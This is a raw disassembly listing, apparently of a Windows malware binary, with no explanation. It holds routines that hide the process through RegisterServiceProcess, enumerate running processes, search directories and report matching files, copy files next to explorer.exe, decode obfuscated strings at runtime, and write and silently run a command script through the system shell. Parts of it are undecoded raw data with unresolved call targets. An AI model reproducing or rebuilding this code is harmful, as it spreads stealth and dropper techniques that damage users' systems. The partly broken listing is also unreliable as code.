; ---------------------------------------------------------------------------
		db 0Ch dup(90h)
		db 20h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40CFB0:				; CODE XREF: ___:loc_40228Ej
		push	0FFFFFFFFh
		push	offset loc_43A086
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[esp+4], esi
		lea	ecx, [esi+2Eh]
		mov	dword ptr [esp+10h], 1
		call	sub_401226
		lea	ecx, [esi+19h]
		mov	byte ptr [esp+10h], 0
		call	sub_401226
		lea	ecx, [esi+4]
		mov	dword ptr [esp+10h], 0FFFFFFFFh
		call	sub_401226
		mov	ecx, [esp+8]
		pop	esi
		mov	large fs:0, ecx
		add	esp, 10h
		retn
; ---------------------------------------------------------------------------
		db 6 dup(90h)
		db 20h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40D030	proc near		; CODE XREF: sub_40227Aj

var_548		= byte ptr -548h
var_51C		= byte ptr -51Ch
var_51B		= byte ptr -51Bh
var_408		= byte ptr -408h
var_304		= byte ptr -304h
var_200		= byte ptr -200h
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch
arg_C		= dword	ptr  10h
arg_10		= dword	ptr  14h
arg_14		= dword	ptr  18h

		sub	esp, 548h
		lea	eax, [esp+548h+var_408]
		push	ebx
		push	ebp
		push	esi
		mov	esi, [esp+554h+arg_10]
		push	edi
		mov	edi, dword_511AE4
		push	esi
		push	offset aS_1	; "%s\\*"
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 10h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebp, [esp+558h+arg_14]
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D0F7


loc_40D080:				; CODE XREF: sub_40D030+C5j
		test	[esp+558h+var_548], 10h
		jz	short loc_40D0E7
		cmp	[esp+558h+var_51C], 2Eh
		jnz	short loc_40D09A
		mov	al, [esp+558h+var_51B]
		test	al, al
		jz	short loc_40D0E7
		cmp	al, 2Eh
		jz	short loc_40D0E7


loc_40D09A:				; CODE XREF: sub_40D030+5Cj
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_304]
		push	eax
		push	esi
		push	offset dword_444684
		push	104h
		push	ecx
		call	edi	; _snprintf
		mov	eax, [esp+56Ch+arg_C]
		mov	ecx, [esp+56Ch+arg_8]
		lea	edx, [esp+56Ch+var_304]
		push	ebp
		push	edx
		mov	edx, [esp+574h+arg_4]
		push	eax
		mov	eax, [esp+578h+arg_0]
		push	ecx
		push	edx
		push	eax
		call	sub_40227A
		add	esp, 2Ch
		mov	ebp, eax


loc_40D0E7:				; CODE XREF: sub_40D030+55j
					; sub_40D030+64j ...
		lea	ecx, [esp+558h+var_548]
		push	ecx
		push	ebx
		call	near ptr 2860000h
		nop
		test	eax, eax
		jnz	short loc_40D080


loc_40D0F7:				; CODE XREF: sub_40D030+4Ej
		push	ebx
		nop
		call	near ptr 2850282h
		mov	edx, [esp+558h+arg_C]
		lea	eax, [esp+558h+var_408]
		push	edx
		push	esi
		push	offset dword_444684
		push	104h
		push	eax
		call	edi	; _snprintf
		add	esp, 14h
		lea	ecx, [esp+558h+var_548]
		lea	edx, [esp+558h+var_408]
		push	ecx
		push	edx
		nop
		call	near ptr 2870000h
		mov	ebx, eax
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_40D18B


loc_40D138:				; CODE XREF: sub_40D030+159j
		lea	eax, [esp+558h+var_51C]
		lea	ecx, [esp+558h+var_200]
		push	eax
		push	esi
		push	offset aFoundSS	; "Found: %s\\%s"
		push	200h
		push	ecx
		inc	ebp
		call	edi	; _snprintf
		mov	edx, [esp+56Ch+arg_8]
		mov	ecx, [esp+56Ch+arg_4]
		lea	eax, [esp+56Ch+var_200]
		push	edx
		mov	edx, [esp+570h+arg_0]
		push	eax
		push	ecx
		push	edx
		call	sub_40152D
		add	esp, 24h
		lea	eax, [esp+558h+var_548]
		push	eax
		push	ebx
		nop
		call	near ptr 2860000h
		test	eax, eax
		jnz	short loc_40D138


loc_40D18B:				; CODE XREF: sub_40D030+106j
		push	ebx
		nop
		call	near ptr 2850282h
		pop	edi
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		add	esp, 548h
		retn
sub_40D030	endp

; ---------------------------------------------------------------------------
		db 90h
		db 60h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D200	proc near		; CODE XREF: sub_40104Bj

var_3C		= byte ptr -3Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40D200
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	esi
		push	edi
		push	0
		push	4
		push	4
		push	1
		push	13h
		lea	eax, [esp+58h+var_3C]
		push	1
		mov	esi, ecx
		push	eax
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	[esp+48h+var_4], 0
		call	sub_4017EE
		lea	ecx, [esi+19h]
		push	eax
		push	ecx
		mov	ecx, offset dword_449118
		call	sub_40159B
sub_40D200	endp

; ---------------------------------------------------------------------------
		or	edi, 0FFFFFFFFh
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	13h
		lea	edx, [esp+1Ch]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 1Ch
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 1
		call	sub_4017EE
		push	eax
		lea	eax, [esi+47h]
		push	eax
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	4
		push	4
		push	1
		push	3
		push	16h
		lea	ecx, [esp+20h]
		push	13h
		push	ecx
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 2
		call	sub_4017EE
		lea	edx, [esi+75h]
		push	eax
		push	edx
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+8]
		mov	[esp+40h], edi
		call	sub_401226
		push	0
		push	0Ch
		push	5
		push	4
		push	3
		push	16h
		push	13h
		lea	eax, [esp+3Ch]
		push	eax
		call	sub_4019C4
		add	esp, 20h
		push	esi
		mov	ecx, eax
		mov	dword ptr [esp+44h], 3
		call	sub_4017EE
		add	esi, 0A3h
		push	eax
		push	esi
		mov	ecx, offset dword_449118
		call	sub_40159B
; ---------------------------------------------------------------------------
		lea	ecx, [esp+20h]
		mov	[esp+40h], edi
		call	sub_401226
		mov	ecx, [esp+38h]
		pop	edi
		pop	esi
		mov	large fs:0, ecx
		add	esp, 3Ch
		retn
; ---------------------------------------------------------------------------
		db 5 dup(90h)
		db 60h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D3B0:				; CODE XREF: ___:004013CFj
		sub	esp, 104h
		lea	eax, [esp+0]
		push	104h
		push	eax
		push	0
		nop
		call	near ptr 2880B84h
		push	eax
		nop
		call	near ptr 2880000h
		mov	eax, dword_449070
		test	eax, eax
		jz	loc_40D4D3
		mov	ecx, dword_44906C
		test	ecx, ecx
		jz	loc_40D4D3
		mov	ecx, dword_448F38
		test	ecx, ecx
		jz	loc_40D4D3
		push	0
		push	2
		call	eax	; CreateToolhelp32Snapshot
		cmp	eax, 0FFFFFFFFh
		mov	dword_449068, eax
		jz	loc_40D4D3
		push	ebp
		push	offset dword_448F40
		push	eax
		xor	ebp, ebp
		mov	dword_448F40, 128h
		call	dword_44906C	; Process32First
		test	eax, eax
		jz	loc_40D4BC
		push	ebx
		mov	ebx, [esp+110h]
		push	esi
		mov	esi, dword_511AE0
		push	edi


loc_40D43D:				; CODE XREF: ___:0040D4B7j
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+10h]
		repne scasb
		not	ecx
		dec	ecx
		mov	edi, offset dword_448F64
		push	ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		lea	edi, [esp+14h]
		sub	edx, ecx
		or	ecx, 0FFFFFFFFh
		repne scasb
		not	ecx
		dec	ecx
		push	offset dword_448F64
		add	edx, ecx
		push	edx
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_40D4A3
		mov	edi, offset dword_448F64
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		repne scasb
		not	ecx
		dec	ecx
		push	ecx
		push	offset dword_448F64
		mov	ecx, ebx
		call	sub_40168B
		push	eax
		call	esi	; strncmp
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_40D4A4


loc_40D4A3:				; CODE XREF: ___:0040D47Bj
		inc	ebp


loc_40D4A4:				; CODE XREF: ___:0040D4A1j
		mov	eax, dword_449068
		push	offset dword_448F40
		push	eax
		call	dword_448F38	; Process32Next
		test	eax, eax
		jnz	short loc_40D43D
		pop	edi
		pop	esi
		pop	ebx


loc_40D4BC:				; CODE XREF: ___:0040D427j
		mov	ecx, dword_449068
		push	ecx
		nop
		call	near ptr 2830000h
		mov	eax, ebp
		pop	ebp
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------


loc_40D4D3:				; CODE XREF: ___:0040D3D6j
					; ___:0040D3E4j ...
		xor	eax, eax
		add	esp, 104h
		retn
; ---------------------------------------------------------------------------
		db 4 dup(90h)
		db 50h dup(0CCh)
; ---------------------------------------------------------------------------


loc_40D530:				; CODE XREF: ___:00401FAFj
		sub	esp, 11Ch
		lea	eax, [esp+18h]
		push	ebx
		push	esi
		push	edi
		push	104h
		push	eax
		nop
		call	near ptr 2890B19h
		mov	edi, offset aExplorer_exe ; "\\explorer.exe"
		or	ecx, 0FFFFFFFFh
		xor	eax, eax
		lea	edx, [esp+24h]
		repne scasb
		not	ecx
		sub	edi, ecx
		push	eax
		mov	esi, edi
		mov	ebx, ecx
		mov	edi, edx
		or	ecx, 0FFFFFFFFh
		repne scasb
		mov	ecx, ebx
		dec	edi
		shr	ecx, 2
		rep movsd
		mov	ecx, ebx
		push	80h
		and	ecx, 3
		push	3
		push	eax
		push	1
		rep movsb
		mov	edi, dword_5118F0
		lea	eax, [esp+38h]
		push	80000000h
		push	eax
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D5F6
		lea	ecx, [esp+1Ch]
		lea	edx, [esp+0Ch]
		push	ecx
		lea	eax, [esp+18h]
		push	edx
		push	eax
		push	esi
		nop
		call	near ptr 28906CDh
		mov	ebx, dword_5118E0
		push	esi
		call	ebx
		mov	ecx, [esp+12Ch]
		push	0
		push	80h
		push	3
		push	0
		push	2
		push	40000000h
		push	ecx
		call	edi
		mov	esi, eax
		cmp	esi, 0FFFFFFFFh
		jz	short loc_40D5F6
		lea	edx, [esp+1Ch]
		lea	eax, [esp+0Ch]
		push	edx
		lea	ecx, [esp+18h]
		push	eax
		push	ecx
		push	esi
		call	near ptr 2890000h
		nop
		push	esi
		call	ebx


loc_40D5F6:				; CODE XREF: ___:0040D599j
					; ___:0040D5DBj
		pop	edi
		pop	esi
		pop	ebx
		add	esp, 11Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Eh dup(90h)
		db 40h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================

; Attributes: noreturn


sub_40D650	proc near		; CODE XREF: sub_401B6Dj

var_19C		= byte ptr -19Ch
var_184		= byte ptr -184h
var_16C		= byte ptr -16Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4

		push	0FFFFFFFFh
		push	offset SEH_40D650
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 190h
		push	ebx
		push	esi
		mov	esi, ecx
		push	edi
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_40142E
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_16C]
		mov	[esp+1B0h+var_4], 0
		call	sub_401C71
		push	eax
		nop
		call	near ptr 27E0000h
		lea	ecx, [esp+1A8h+var_16C]
		call	sub_4017EE
		push	eax
		lea	ecx, [esi+4]
		call	sub_4015E1
		lea	ecx, [esp+1A8h+var_184]
		call	sub_40142E
		mov	ebx, 1
		push	104h
		push	104h
		lea	ecx, [esp+1B0h+var_184]
		mov	byte ptr [esp+1B0h+var_4], bl
		call	sub_401C71
		push	eax
		push	0
		nop
		call	near ptr 2880B84h
		push	eax
		call	near ptr 2880000h
		nop
		push	offset aKernel32_dll_0 ; "kernel32.dll"
		nop
		call	near ptr 27D070Bh
		mov	esi, eax
		test	esi, esi
		jz	short loc_40D741
		mov	edi, dword_511918
		push	offset aRegisterservic ; "RegisterServiceProcess"
		push	esi
		call	edi
		push	offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
		push	esi
		mov	dword_449074, eax
		call	edi
		push	offset aProcess32first ; "Process32First"
		push	esi
		mov	dword_449070, eax
		call	edi
		push	offset aProcess32next ;	"Process32Next"
		push	esi
		mov	dword_44906C, eax
		call	edi
		mov	dword_448F38, eax
		mov	eax, dword_449074
		test	eax, eax
		jz	short loc_40D741
		push	ebx
		push	0
		call	eax


loc_40D741:				; CODE XREF: sub_40D650+A7j
					; sub_40D650+EAj
		mov	esi, [esp+1A8h+arg_0]
		push	0
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		lea	ecx, [esp+1B0h+var_184]
		call	sub_402135
		test	eax, eax
		jnz	short loc_40D778
		mov	al, byte_44915F
		test	al, al
		jz	short loc_40D778
		mov	ecx, esi
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4


loc_40D778:				; CODE XREF: sub_40D650+10Dj
					; sub_40D650+116j
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	12h
		push	10h
		push	10h
		push	0Eh
		push	9
		lea	eax, [esp+1D8h+var_19C]
		push	17h
		push	eax
		call	sub_4019C4
		add	esp, 38h
		mov	ecx, eax
		mov	byte ptr [esp+1A8h+var_4], 2
		call	sub_4017EE
		push	eax
		call	sub_401604
sub_40D650	endp

; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	0Fh
		push	8
		push	0Ch
		push	0Ch
		lea	ecx, [esp+38h]
		push	4
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 3
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	4
		push	10h
		push	14h
		push	6
		lea	edx, [esp+30h]
		push	14h
		push	edx
		call	sub_4019C4
		add	esp, 2Ch
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 4
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	14h
		push	13h
		push	ebx
		push	0Ch
		push	2
		push	13h
		lea	eax, [esp+38h]
		push	0Dh
		push	eax
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 5
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	46h
		push	47h
		push	13h
		push	9
		push	0Eh
		push	5
		lea	ecx, [esp+38h]
		push	10h
		push	ecx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 6
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		add	esp, 4
		lea	ecx, [esp+0Ch]
		mov	[esp+1A4h], bl
		call	sub_401226
		push	0
		push	5
		push	18h
		push	5
		push	4Eh
		push	8
		push	3
		push	14h
		push	ebx
		push	10h
		push	13h
		lea	edx, [esp+38h]
		push	0Dh
		push	edx
		call	sub_4019C4
		add	esp, 34h
		mov	ecx, eax
		mov	byte ptr [esp+1A4h], 7
		call	sub_4017EE
		push	eax
		call	sub_401604
; ---------------------------------------------------------------------------
		db 83h
		dd 4C8D04C4h, 9C880C24h, 1A424h, 38E4E800h, 448DFFFFh
		dd 6A3C24h, 244C8D50h, 3EC4E82Ch, 0C085FFFFh, 116850Fh
		dd 8B550000h, 3E8CE8CEh, 6A50FFFFh, 244C8D5Ch, 3E80E848h
		dd 8D50FFFFh, 0A8248Ch,	8680000h, 5100444Bh, 4ED9E890h
		dd 3D8B001Eh, 5118ACh, 0FF14C483h, 24948DD7h, 9Ch, 8D52006Ah
		dd 8B30244Ch, 3CE9E8E8h, 358BFFFFh, 511914h, 85D6FF50h
		dd 0FF3075C0h, 3DC52BD7h, 61A8h, 0D0682573h, 90000007h
		dd 4128A4E8h, 24848D02h, 9Ch, 8D50006Ah, 0E830244Ch, 0FFFF3CB3h
		dd 85D6FF50h, 0A0D074C0h, 4497BBh, 74C0845Dh, 0D8358B39h
		dd 6800511Ah, 104h, 9C248C8Dh, 68000000h, 444B00h, 83D6FF51h
		dd 4C8D0CC4h, 4682424h,	0E8000001h, 0FFFF3DDAh,	9C24948Dh
		dd 50000000h, 83D6FF52h, 11B90CC4h, 33000000h, 247C8DC0h
		dd 24948D54h, 98h, 8966ABF3h, 842484h, 448D0000h, 4C8D0C24h
		dd 51505424h, 6A006Ah, 6A53286Ah, 52006A00h, 44C7006Ah
		dd 447C24h, 3AE80000h, 90023D2Bh, 874C085h, 0E890006Ah
		dd 7782C40Eh, 24244C8Dh, 0A42484C6h, 1,	0FF37A5E8h, 244C8DFFh
		dd 2484C73Ch, 1A4h, 0FFFFFFFFh,	0FF3791E8h, 248C8BFFh
		dd 19Ch, 5EC38A5Fh, 0D89645Bh, 0
; ---------------------------------------------------------------------------
		add	esp, 19Ch
		retn	4
; ---------------------------------------------------------------------------
		db 0Fh dup(90h)
		db 120h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DBE0	proc near		; CODE XREF: sub_401195j
		mov	al, byte_449161
		test	al, al
		jz	short loc_40DBF4
		push	offset word_449162
		call	near ptr 27D0AB9h
		nop


loc_40DBF4:				; CODE XREF: sub_40DBE0+7j
		mov	al, 1
		retn
sub_40DBE0	endp

; ---------------------------------------------------------------------------
		db 9 dup(90h)
		db 10h dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40DC10	proc near		; CODE XREF: sub_401E79j

var_6D0		= dword	ptr -6D0h
var_6CC		= dword	ptr -6CCh
var_6C8		= dword	ptr -6C8h
var_6C4		= dword	ptr -6C4h
var_6C0		= dword	ptr -6C0h
var_6BC		= dword	ptr -6BCh
var_6B8		= dword	ptr -6B8h
var_6B4		= dword	ptr -6B4h
var_6B0		= byte ptr -6B0h
var_6AC		= byte ptr -6ACh
var_694		= byte ptr -694h
var_67C		= byte ptr -67Ch
var_664		= byte ptr -664h
var_64C		= byte ptr -64Ch
var_634		= byte ptr -634h
var_61C		= byte ptr -61Ch
var_604		= byte ptr -604h
var_5EC		= byte ptr -5ECh
var_5D4		= byte ptr -5D4h
var_5BC		= byte ptr -5BCh
var_5A4		= byte ptr -5A4h
var_58C		= byte ptr -58Ch
var_574		= byte ptr -574h
var_564		= dword	ptr -564h
var_534		= word ptr -534h
var_520		= byte ptr -520h
var_41C		= byte ptr -41Ch
var_318		= byte ptr -318h
var_214		= byte ptr -214h
var_110		= byte ptr -110h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4

		push	0FFFFFFFFh
		push	offset SEH_40DC10
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 6C4h
		push	esi
		lea	eax, [esp+6D4h+var_41C]
		push	104h
		push	eax
		push	0
		call	near ptr 2880B84h
		nop
		push	eax
		call	near ptr 2880000h
		nop
		lea	ecx, [esp+6D4h+var_318]
		push	ecx
		push	104h
		nop
		call	near ptr 27C0000h
		push	0
		push	14h
		push	1
		push	2
		push	4Fh
		push	0Fh
		push	12h
		push	6
		lea	edx, [esp+6F4h+var_5EC]
		push	1
		push	edx
		call	sub_4019C4
		add	esp, 28h
		mov	ecx, eax
		mov	[esp+6D4h+var_4], 0
		call	sub_4017EE
		push	eax
		lea	eax, [esp+6D8h+var_318]
		push	eax
		lea	ecx, [esp+6DCh+var_520]
		push	offset dword_444684
		push	ecx
		nop
		call	sub_5F285B
		add	esp, 10h
		lea	ecx, [esp+6D4h+var_5EC]
		mov	[esp+6D4h+var_4], 0FFFFFFFFh
		call	sub_401226
		push	0
		push	0
		push	2
		push	0
		push	0
		lea	edx, [esp+6E8h+var_520]
		push	40000000h
		push	edx
		nop
		call	near ptr 2850000h
		mov	esi, eax
		test	esi, esi
		jbe	loc_40E168
		push	ebx
		push	ebp
		push	edi
		lea	ecx, [esp+6E0h+var_6AC]
		call	sub_40142E
		push	0
		push	14h
		push	1
		push	2
		lea	eax, [esp+6F0h+var_604]
		push	4Fh
		push	eax
		mov	[esp+6F8h+var_4], 1
		call	sub_4019C4
		mov	edi, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+720h+var_634]
		push	4
		push	ecx
		mov	byte ptr [esp+728h+var_4], 2
		call	sub_4019C4
		add	esp, 48h
		mov	ebp, eax
		push	0
		push	14h
		push	1
		push	2
		lea	edx, [esp+6F0h+var_664]
		push	4Fh
		push	edx
		mov	byte ptr [esp+6F8h+var_4], 3
		call	sub_4019C4
		mov	ebx, eax
		push	0
		push	39h
		push	10h
		push	0Dh
		push	5
		push	14h
		push	39h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+72Ch+var_67C]
		push	4
		push	eax
		mov	byte ptr [esp+734h+var_4], 4
		call	sub_4019C4
		add	esp, 54h
		mov	[esp+6E0h+var_6B4], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		lea	ecx, [esp+6F4h+var_61C]
		push	53h
		push	ecx
		mov	byte ptr [esp+6FCh+var_4], 5
		call	sub_4019C4
		mov	[esp+6FCh+var_6C8], eax
		mov	byte ptr [esp+6FCh+var_4], 6
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		lea	edx, [esp+724h+var_5D4]
		push	7
		push	edx
		call	sub_4019C4
		add	esp, 4Ch
		mov	[esp+6E0h+var_6B8], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	0Ch
		push	5
		lea	eax, [esp+708h+var_5A4]
		push	4
		push	eax
		mov	byte ptr [esp+710h+var_4], 7
		call	sub_4019C4
		mov	[esp+710h+var_6C0], eax
		push	0
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	20h
		push	52h
		push	4Eh
		push	0Ch
		push	5
		lea	ecx, [esp+744h+var_58C]
		push	4
		push	ecx
		mov	byte ptr [esp+74Ch+var_4], 8
		call	sub_4019C4
		add	esp, 6Ch
		mov	[esp+6E0h+var_6D0], eax
		push	0
		push	5
		push	0Eh
		push	0Fh
		push	4
		push	4Eh
		push	0Fh
		push	14h
		push	0Fh
		push	7
		push	4Eh
		push	54h
		push	54h
		push	45h
		push	39h
		push	54h
		push	54h
		push	4Eh
		push	14h
		push	13h
		push	9
		push	18h
		push	5
		push	4Eh
		push	14h
		mov	byte ptr [esp+744h+var_4], 9
		push	0Fh
		push	0Eh
		push	4Eh
		push	6
		lea	edx, [esp+754h+var_694]
		push	9
		push	edx
		call	sub_4019C4
		mov	[esp+75Ch+var_6CC], eax
		push	0
		push	14h
		push	12h
		push	1
		push	14h
		push	13h
		lea	eax, [esp+774h+var_5BC]
		push	53h
		push	eax
		mov	byte ptr [esp+77Ch+var_4], 0Ah
		call	sub_4019C4
		add	esp, 9Ch
		mov	[esp+6E0h+var_6C4], eax
		push	0
		push	6
		push	6
		push	0Fh
		push	4Eh
		push	0Fh
		push	8
		push	3
		push	5
		lea	ecx, [esp+704h+var_64C]
		push	56h
		push	ecx
		mov	byte ptr [esp+70Ch+var_4], 0Bh
		call	sub_4019C4
		add	esp, 2Ch
		mov	[esp+6E0h+var_6BC], eax
		mov	ecx, edi
		mov	byte ptr [esp+6E0h+var_4], 0Ch
		call	sub_4017EE
		push	eax
		mov	ecx, ebp
		call	sub_4017EE
		push	eax
		mov	ecx, ebx
		call	sub_4017EE
		mov	ecx, [esp+6E8h+var_6B4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6ECh+var_6C8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F0h+var_6B8]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F4h+var_6C0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6F8h+var_6D0]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+6FCh+var_6CC]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+700h+var_6C4]
		push	eax
		call	sub_4017EE
		mov	ecx, [esp+704h+var_6BC]
		push	eax
		call	sub_4017EE
		push	eax
		lea	edx, [esp+70Ch+var_6AC]
		push	offset aSSSSSSSSSS ; "%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r\n%s\r%s\r\n%s\r%s\r\n"
		push	edx
		call	sub_40102D
		add	esp, 34h
		mov	byte ptr [esp+6E0h+var_4], 0Bh
		lea	ecx, [esp+6E0h+var_64C]
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5BC]
		mov	byte ptr [esp+6E0h+var_4], 0Ah
		call	sub_401226
		lea	ecx, [esp+6E0h+var_694]
		mov	byte ptr [esp+6E0h+var_4], 9
		call	sub_401226
		lea	ecx, [esp+6E0h+var_58C]
		mov	byte ptr [esp+6E0h+var_4], 8
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5A4]
		mov	byte ptr [esp+6E0h+var_4], 7
		call	sub_401226
		lea	ecx, [esp+6E0h+var_5D4]
		mov	byte ptr [esp+6E0h+var_4], 6
		call	sub_401226
		lea	ecx, [esp+6E0h+var_61C]
		mov	byte ptr [esp+6E0h+var_4], 5
		call	sub_401226
		lea	ecx, [esp+6E0h+var_67C]
		mov	byte ptr [esp+6E0h+var_4], 4
		call	sub_401226
		lea	ecx, [esp+6E0h+var_664]
		mov	byte ptr [esp+6E0h+var_4], 3
		call	sub_401226
		lea	ecx, [esp+6E0h+var_634]
		mov	byte ptr [esp+6E0h+var_4], 2
		call	sub_401226
		lea	ecx, [esp+6E0h+var_604]
		mov	byte ptr [esp+6E0h+var_4], 1
		call	sub_401226
		lea	eax, [esp+6E0h+var_6B0]
		push	0
		push	eax
		push	69h
		lea	ecx, [esp+6ECh+var_6AC]
		call	sub_4017EE
		push	eax
		push	esi
		nop
		call	near ptr 27D0000h
		push	esi
		nop
		call	near ptr 2830000h
		mov	ecx, 11h
		xor	eax, eax
		lea	edi, [esp+6E0h+var_564]
		push	104h
		rep stosd
		lea	ecx, [esp+6E4h+var_41C]
		mov	[esp+6E4h+var_564], 44h
		push	ecx
		push	eax
		mov	[esp+6ECh+var_534], ax
		nop
		call	near ptr 2880B84h
		push	eax
		call	near ptr 2880000h
		nop
		lea	edx, [esp+6E0h+var_41C]
		lea	eax, [esp+6E0h+var_520]
		push	edx
		push	eax
		lea	ecx, [esp+6E8h+var_214]
		push	offset aComspecCSS ; "%%comspec%% /c %s	%s"
		push	ecx
		call	sub_5F285B
		nop
		add	esp, 10h
		lea	edx, [esp+6E0h+var_110]
		lea	eax, [esp+6E0h+var_214]
		push	104h
		push	edx
		push	eax
		nop
		call	near ptr 27F0000h
		lea	ecx, [esp+6E0h+var_574]
		lea	edx, [esp+6E0h+var_564]
		push	ecx
		push	edx
		push	0
		push	0
		push	28h
		push	1
		push	0
		push	0
		lea	eax, [esp+700h+var_110]
		push	eax
		push	0
		nop
		call	near ptr 27E059Dh
		lea	ecx, [esp+6E0h+var_6AC]
		mov	[esp+6E0h+var_4], 0FFFFFFFFh
		call	sub_401226
		pop	edi
		pop	ebp
		pop	ebx
		mov	al, 1
		pop	esi
		mov	ecx, [esp+6D0h+var_C]
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
; ---------------------------------------------------------------------------


loc_40E168:				; CODE XREF: sub_40DC10+D6j
		mov	ecx, [esp+6D4h+var_C]
		mov	al, 1
		pop	esi
		mov	large fs:0, ecx
		add	esp, 6D0h
		retn
sub_40DC10	endp

; ---------------------------------------------------------------------------
		db 160h	dup(0CCh)

; =============== S U B	R O U T	I N E =======================================



sub_40E2E0	proc near		; CODE XREF: sub_401730j

var_70		= dword	ptr -70h
var_6C		= byte ptr -6Ch
var_54		= byte ptr -54h
var_3C		= byte ptr -3Ch
var_24		= byte ptr -24h
var_C		= dword	ptr -0Ch
var_4		= dword	ptr -4
arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	0FFFFFFFFh
		push	offset SEH_40E2E0
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 64h
		push	ebx
		push	ebp
		push	esi
		push	edi
		lea	ecx, [esp+80h+var_54]
		call	sub_40142E
